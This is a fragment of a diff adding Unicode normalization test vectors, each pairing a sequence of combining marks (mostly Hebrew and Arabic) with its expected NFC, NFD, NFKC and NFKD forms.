+{ source: [0x0061, 0x05C4, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x05C4, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x05C4, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x05C4, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x05C4, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x059A, 0x0316, 0x302A, 0x05C5, 0x0062], NFC: [0x0061, 0x302A, 0x0316, 0x05C5, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x0316, 0x05C5, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x0316, 0x05C5, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x0316, 0x05C5, 0x059A, 0x0062] },
+{ source: [0x0061, 0x05C5, 0x059A, 0x0316, 0x302A, 0x0062], NFC: [0x0061, 0x302A, 0x05C5, 0x0316, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x05C5, 0x0316, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x05C5, 0x0316, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x05C5, 0x0316, 0x059A, 0x0062] },
+{ source: [0x0061, 0x05B9, 0x05B8, 0x05B7, 0x05C7, 0x0062], NFC: [0x0061, 0x05B7, 0x05B8, 0x05C7, 0x05B9, 0x0062], NFD: [0x0061, 0x05B7, 0x05B8, 0x05C7, 0x05B9, 0x0062], NFKC: [0x0061, 0x05B7, 0x05B8, 0x05C7, 0x05B9, 0x0062], NFKD: [0x0061, 0x05B7, 0x05B8, 0x05C7, 0x05B9, 0x0062] },
+{ source: [0x0061, 0x05C7, 0x05B9, 0x05B8, 0x05B7, 0x0062], NFC: [0x0061, 0x05B7, 0x05C7, 0x05B8, 0x05B9, 0x0062], NFD: [0x0061, 0x05B7, 0x05C7, 0x05B8, 0x05B9, 0x0062], NFKC: [0x0061, 0x05B7, 0x05C7, 0x05B8, 0x05B9, 0x0062], NFKD: [0x0061, 0x05B7, 0x05C7, 0x05B8, 0x05B9, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x0610, 0x0062], NFC: [0x00E0, 0x05AE, 0x0610, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x0610, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x0610, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x0610, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0610, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x0610, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0610, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x0610, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0610, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x0611, 0x0062], NFC: [0x00E0, 0x05AE, 0x0611, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x0611, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x0611, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x0611, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0611, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x0611, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0611, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x0611, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0611, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x0612, 0x0062], NFC: [0x00E0, 0x05AE, 0x0612, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x0612, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x0612, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x0612, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0612, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x0612, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0612, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x0612, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0612, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x0613, 0x0062], NFC: [0x00E0, 0x05AE, 0x0613, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x0613, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x0613, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x0613, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0613, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x0613, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0613, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x0613, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0613, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x0614, 0x0062], NFC: [0x00E0, 0x05AE, 0x0614, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x0614, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x0614, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x0614, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0614, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x0614, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0614, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x0614, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0614, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x0615, 0x0062], NFC: [0x00E0, 0x05AE, 0x0615, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x0615, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x0615, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x0615, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0615, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x0615, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0615, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x0615, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0615, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x0616, 0x0062], NFC: [0x00E0, 0x05AE, 0x0616, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x0616, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x0616, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x0616, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0616, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x0616, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0616, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x0616, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0616, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x0617, 0x0062], NFC: [0x00E0, 0x05AE, 0x0617, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x0617, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x0617, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x0617, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0617, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x0617, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0617, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x0617, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0617, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0619, 0x0618, 0x064D, 0x0618, 0x0062], NFC: [0x0061, 0x064D, 0x0618, 0x0618, 0x0619, 0x0062], NFD: [0x0061, 0x064D, 0x0618, 0x0618, 0x0619, 0x0062], NFKC: [0x0061, 0x064D, 0x0618, 0x0618, 0x0619, 0x0062], NFKD: [0x0061, 0x064D, 0x0618, 0x0618, 0x0619, 0x0062] },
+{ source: [0x0061, 0x0618, 0x0619, 0x0618, 0x064D, 0x0062], NFC: [0x0061, 0x064D, 0x0618, 0x0618, 0x0619, 0x0062], NFD: [0x0061, 0x064D, 0x0618, 0x0618, 0x0619, 0x0062], NFKC: [0x0061, 0x064D, 0x0618, 0x0618, 0x0619, 0x0062], NFKD: [0x0061, 0x064D, 0x0618, 0x0618, 0x0619, 0x0062] },
+{ source: [0x0061, 0x061A, 0x0619, 0x0618, 0x0619, 0x0062], NFC: [0x0061, 0x0618, 0x0619, 0x0619, 0x061A, 0x0062], NFD: [0x0061, 0x0618, 0x0619, 0x0619, 0x061A, 0x0062], NFKC: [0x0061, 0x0618, 0x0619, 0x0619, 0x061A, 0x0062], NFKD: [0x0061, 0x0618, 0x0619, 0x0619, 0x061A, 0x0062] },
+{ source: [0x0061, 0x0619, 0x061A, 0x0619, 0x0618, 0x0062], NFC: [0x0061, 0x0618, 0x0619, 0x0619, 0x061A, 0x0062], NFD: [0x0061, 0x0618, 0x0619, 0x0619, 0x061A, 0x0062], NFKC: [0x0061, 0x0618, 0x0619, 0x0619, 0x061A, 0x0062], NFKD: [0x0061, 0x0618, 0x0619, 0x0619, 0x061A, 0x0062] },
+{ source: [0x0061, 0x0651, 0x061A, 0x0619, 0x061A, 0x0062], NFC: [0x0061, 0x0619, 0x061A, 0x061A, 0x0651, 0x0062], NFD: [0x0061, 0x0619, 0x061A, 0x061A, 0x0651, 0x0062], NFKC: [0x0061, 0x0619, 0x061A, 0x061A, 0x0651, 0x0062], NFKD: [0x0061, 0x0619, 0x061A, 0x061A, 0x0651, 0x0062] },
+{ source: [0x0061, 0x061A, 0x0651, 0x061A, 0x0619, 0x0062], NFC: [0x0061, 0x0619, 0x061A, 0x061A, 0x0651, 0x0062], NFD: [0x0061, 0x0619, 0x061A, 0x061A, 0x0651, 0x0062], NFKC: [0x0061, 0x0619, 0x061A, 0x061A, 0x0651, 0x0062], NFKD: [0x0061, 0x0619, 0x061A, 0x061A, 0x0651, 0x0062] },
+{ source: [0x0061, 0x064C, 0x064B, 0xFB1E, 0x064B, 0x0062], NFC: [0x0061, 0xFB1E, 0x064B, 0x064B, 0x064C, 0x0062], NFD: [0x0061, 0xFB1E, 0x064B, 0x064B, 0x064C, 0x0062], NFKC: [0x0061, 0xFB1E, 0x064B, 0x064B, 0x064C, 0x0062], NFKD: [0x0061, 0xFB1E, 0x064B, 0x064B, 0x064C, 0x0062] },
+{ source: [0x0061, 0x064B, 0x064C, 0x064B, 0xFB1E, 0x0062], NFC: [0x0061, 0xFB1E, 0x064B, 0x064B, 0x064C, 0x0062], NFD: [0x0061, 0xFB1E, 0x064B, 0x064B, 0x064C, 0x0062], NFKC: [0x0061, 0xFB1E, 0x064B, 0x064B, 0x064C, 0x0062], NFKD: [0x0061, 0xFB1E, 0x064B, 0x064B, 0x064C, 0x0062] },
+{ source: [0x0061, 0x064D, 0x064C, 0x064B, 0x064C, 0x0062], NFC: [0x0061, 0x064B, 0x064C, 0x064C, 0x064D, 0x0062], NFD: [0x0061, 0x064B, 0x064C, 0x064C, 0x064D, 0x0062], NFKC: [0x0061, 0x064B, 0x064C, 0x064C, 0x064D, 0x0062], NFKD: [0x0061, 0x064B, 0x064C, 0x064C, 0x064D, 0x0062] },
+{ source: [0x0061, 0x064C, 0x064D, 0x064C, 0x064B, 0x0062], NFC: [0x0061, 0x064B, 0x064C, 0x064C, 0x064D, 0x0062], NFD: [0x0061, 0x064B, 0x064C, 0x064C, 0x064D, 0x0062], NFKC: [0x0061, 0x064B, 0x064C, 0x064C, 0x064D, 0x0062], NFKD: [0x0061, 0x064B, 0x064C, 0x064C, 0x064D, 0x0062] },
+{ source: [0x0061, 0x0618, 0x064D, 0x064C, 0x064D, 0x0062], NFC: [0x0061, 0x064C, 0x064D, 0x064D, 0x0618, 0x0062], NFD: [0x0061, 0x064C, 0x064D, 0x064D, 0x0618, 0x0062], NFKC: [0x0061, 0x064C, 0x064D, 0x064D, 0x0618, 0x0062], NFKD: [0x0061, 0x064C, 0x064D, 0x064D, 0x0618, 0x0062] },
+{ source: [0x0061, 0x064D, 0x0618, 0x064D, 0x064C, 0x0062], NFC: [0x0061, 0x064C, 0x064D, 0x064D, 0x0618, 0x0062], NFD: [0x0061, 0x064C, 0x064D, 0x064D, 0x0618, 0x0062], NFKC: [0x0061, 0x064C, 0x064D, 0x064D, 0x0618, 0x0062], NFKD: [0x0061, 0x064C, 0x064D, 0x064D, 0x0618, 0x0062] },
+{ source: [0x0061, 0x0619, 0x0618, 0x064D, 0x064E, 0x0062], NFC: [0x0061, 0x064D, 0x0618, 0x064E, 0x0619, 0x0062], NFD: [0x0061, 0x064D, 0x0618, 0x064E, 0x0619, 0x0062], NFKC: [0x0061, 0x064D, 0x0618, 0x064E, 0x0619, 0x0062], NFKD: [0x0061, 0x064D, 0x0618, 0x064E, 0x0619, 0x0062] },
+{ source: [0x0061, 0x064E, 0x0619, 0x0618, 0x064D, 0x0062], NFC: [0x0061, 0x064D, 0x064E, 0x0618, 0x0619, 0x0062], NFD: [0x0061, 0x064D, 0x064E, 0x0618, 0x0619, 0x0062], NFKC: [0x0061, 0x064D, 0x064E, 0x0618, 0x0619, 0x0062], NFKD: [0x0061, 0x064D, 0x064E, 0x0618, 0x0619, 0x0062] },
+{ source: [0x0061, 0x061A, 0x0619, 0x0618, 0x064F, 0x0062], NFC: [0x0061, 0x0618, 0x0619, 0x064F, 0x061A, 0x0062], NFD: [0x0061, 0x0618, 0x0619, 0x064F, 0x061A, 0x0062], NFKC: [0x0061, 0x0618, 0x0619, 0x064F, 0x061A, 0x0062], NFKD: [0x0061, 0x0618, 0x0619, 0x064F, 0x061A, 0x0062] },
+{ source: [0x0061, 0x064F, 0x061A, 0x0619, 0x0618, 0x0062], NFC: [0x0061, 0x0618, 0x064F, 0x0619, 0x061A, 0x0062], NFD: [0x0061, 0x0618, 0x064F, 0x0619, 0x061A, 0x0062], NFKC: [0x0061, 0x0618, 0x064F, 0x0619, 0x061A, 0x0062], NFKD: [0x0061, 0x0618, 0x064F, 0x0619, 0x061A, 0x0062] },
+{ source: [0x0061, 0x0651, 0x061A, 0x0619, 0x0650, 0x0062], NFC: [0x0061, 0x0619, 0x061A, 0x0650, 0x0651, 0x0062], NFD: [0x0061, 0x0619, 0x061A, 0x0650, 0x0651, 0x0062], NFKC: [0x0061, 0x0619, 0x061A, 0x0650, 0x0651, 0x0062], NFKD: [0x0061, 0x0619, 0x061A, 0x0650, 0x0651, 0x0062] },
+{ source: [0x0061, 0x0650, 0x0651, 0x061A, 0x0619, 0x0062], NFC: [0x0061, 0x0619, 0x0650, 0x061A, 0x0651, 0x0062], NFD: [0x0061, 0x0619, 0x0650, 0x061A, 0x0651, 0x0062], NFKC: [0x0061, 0x0619, 0x0650, 0x061A, 0x0651, 0x0062], NFKD: [0x0061, 0x0619, 0x0650, 0x061A, 0x0651, 0x0062] },
+{ source: [0x0061, 0x0652, 0x0651, 0x061A, 0x0651, 0x0062], NFC: [0x0061, 0x061A, 0x0651, 0x0651, 0x0652, 0x0062], NFD: [0x0061, 0x061A, 0x0651, 0x0651, 0x0652, 0x0062], NFKC: [0x0061, 0x061A, 0x0651, 0x0651, 0x0652, 0x0062], NFKD: [0x0061, 0x061A, 0x0651, 0x0651, 0x0652, 0x0062] },
+{ source: [0x0061, 0x0651, 0x0652, 0x0651, 0x061A, 0x0062], NFC: [0x0061, 0x061A, 0x0651, 0x0651, 0x0652, 0x0062], NFD: [0x0061, 0x061A, 0x0651, 0x0651, 0x0652, 0x0062], NFKC: [0x0061, 0x061A, 0x0651, 0x0651, 0x0652, 0x0062], NFKD: [0x0061, 0x061A, 0x0651, 0x0651, 0x0652, 0x0062] },
+{ source: [0x0061, 0x0670, 0x0652, 0x0651, 0x0652, 0x0062], NFC: [0x0061, 0x0651, 0x0652, 0x0652, 0x0670, 0x0062], NFD: [0x0061, 0x0651, 0x0652, 0x0652, 0x0670, 0x0062], NFKC: [0x0061, 0x0651, 0x0652, 0x0652, 0x0670, 0x0062], NFKD: [0x0061, 0x0651, 0x0652, 0x0652, 0x0670, 0x0062] },
+{ source: [0x0061, 0x0652, 0x0670, 0x0652, 0x0651, 0x0062], NFC: [0x0061, 0x0651, 0x0652, 0x0652, 0x0670, 0x0062], NFD: [0x0061, 0x0651, 0x0652, 0x0652, 0x0670, 0x0062], NFKC: [0x0061, 0x0651, 0x0652, 0x0652, 0x0670, 0x0062], NFKD: [0x0061, 0x0651, 0x0652, 0x0652, 0x0670, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x0653, 0x0062], NFC: [0x00E0, 0x05AE, 0x0653, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x0653, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x0653, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x0653, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0653, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x0653, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0653, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x0653, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0653, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x0654, 0x0062], NFC: [0x00E0, 0x05AE, 0x0654, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x0654, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x0654, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x0654, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0654, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x0654, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0654, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x0654, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0654, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x059A, 0x0316, 0x302A, 0x0655, 0x0062], NFC: [0x0061, 0x302A, 0x0316, 0x0655, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x0316, 0x0655, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x0316, 0x0655, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x0316, 0x0655, 0x059A, 0x0062] },
+{ source: [0x0061, 0x0655, 0x059A, 0x0316, 0x302A, 0x0062], NFC: [0x0061, 0x302A, 0x0655, 0x0316, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x0655, 0x0316, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x0655, 0x0316, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x0655, 0x0316, 0x059A, 0x0062] },
+{ source: [0x0061, 0x059A, 0x0316, 0x302A, 0x0656, 0x0062], NFC: [0x0061, 0x302A, 0x0316, 0x0656, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x0316, 0x0656, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x0316, 0x0656, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x0316, 0x0656, 0x059A, 0x0062] },
+{ source: [0x0061, 0x0656, 0x059A, 0x0316, 0x302A, 0x0062], NFC: [0x0061, 0x302A, 0x0656, 0x0316, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x0656, 0x0316, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x0656, 0x0316, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x0656, 0x0316, 0x059A, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x0657, 0x0062], NFC: [0x00E0, 0x05AE, 0x0657, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x0657, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x0657, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x0657, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0657, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x0657, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0657, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x0657, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0657, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x0658, 0x0062], NFC: [0x00E0, 0x05AE, 0x0658, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x0658, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x0658, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x0658, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0658, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x0658, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0658, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x0658, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0658, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x0659, 0x0062], NFC: [0x00E0, 0x05AE, 0x0659, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x0659, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x0659, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x0659, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0659, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x0659, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0659, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x0659, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0659, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x065A, 0x0062], NFC: [0x00E0, 0x05AE, 0x065A, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x065A, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x065A, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x065A, 0x0315, 0x0062] },
+{ source: [0x0061, 0x065A, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x065A, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x065A, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x065A, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x065A, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x065B, 0x0062], NFC: [0x00E0, 0x05AE, 0x065B, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x065B, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x065B, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x065B, 0x0315, 0x0062] },
+{ source: [0x0061, 0x065B, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x065B, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x065B, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x065B, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x065B, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x059A, 0x0316, 0x302A, 0x065C, 0x0062], NFC: [0x0061, 0x302A, 0x0316, 0x065C, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x0316, 0x065C, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x0316, 0x065C, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x0316, 0x065C, 0x059A, 0x0062] },
+{ source: [0x0061, 0x065C, 0x059A, 0x0316, 0x302A, 0x0062], NFC: [0x0061, 0x302A, 0x065C, 0x0316, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x065C, 0x0316, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x065C, 0x0316, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x065C, 0x0316, 0x059A, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x065D, 0x0062], NFC: [0x00E0, 0x05AE, 0x065D, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x065D, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x065D, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x065D, 0x0315, 0x0062] },
+{ source: [0x0061, 0x065D, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x065D, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x065D, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x065D, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x065D, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x065E, 0x0062], NFC: [0x00E0, 0x05AE, 0x065E, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x065E, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x065E, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x065E, 0x0315, 0x0062] },
+{ source: [0x0061, 0x065E, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x065E, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x065E, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x065E, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x065E, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x059A, 0x0316, 0x302A, 0x065F, 0x0062], NFC: [0x0061, 0x302A, 0x0316, 0x065F, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x0316, 0x065F, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x0316, 0x065F, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x0316, 0x065F, 0x059A, 0x0062] },
+{ source: [0x0061, 0x065F, 0x059A, 0x0316, 0x302A, 0x0062], NFC: [0x0061, 0x302A, 0x065F, 0x0316, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x065F, 0x0316, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x065F, 0x0316, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x065F, 0x0316, 0x059A, 0x0062] },
+{ source: [0x0061, 0x0711, 0x0670, 0x0652, 0x0670, 0x0062], NFC: [0x0061, 0x0652, 0x0670, 0x0670, 0x0711, 0x0062], NFD: [0x0061, 0x0652, 0x0670, 0x0670, 0x0711, 0x0062], NFKC: [0x0061, 0x0652, 0x0670, 0x0670, 0x0711, 0x0062], NFKD: [0x0061, 0x0652, 0x0670, 0x0670, 0x0711, 0x0062] },
+{ source: [0x0061, 0x0670, 0x0711, 0x0670, 0x0652, 0x0062], NFC: [0x0061, 0x0652, 0x0670, 0x0670, 0x0711, 0x0062], NFD: [0x0061, 0x0652, 0x0670, 0x0670, 0x0711, 0x0062], NFKC: [0x0061, 0x0652, 0x0670, 0x0670, 0x0711, 0x0062], NFKD: [0x0061, 0x0652, 0x0670, 0x0670, 0x0711, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x06D6, 0x0062], NFC: [0x00E0, 0x05AE, 0x06D6, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x06D6, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x06D6, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x06D6, 0x0315, 0x0062] },
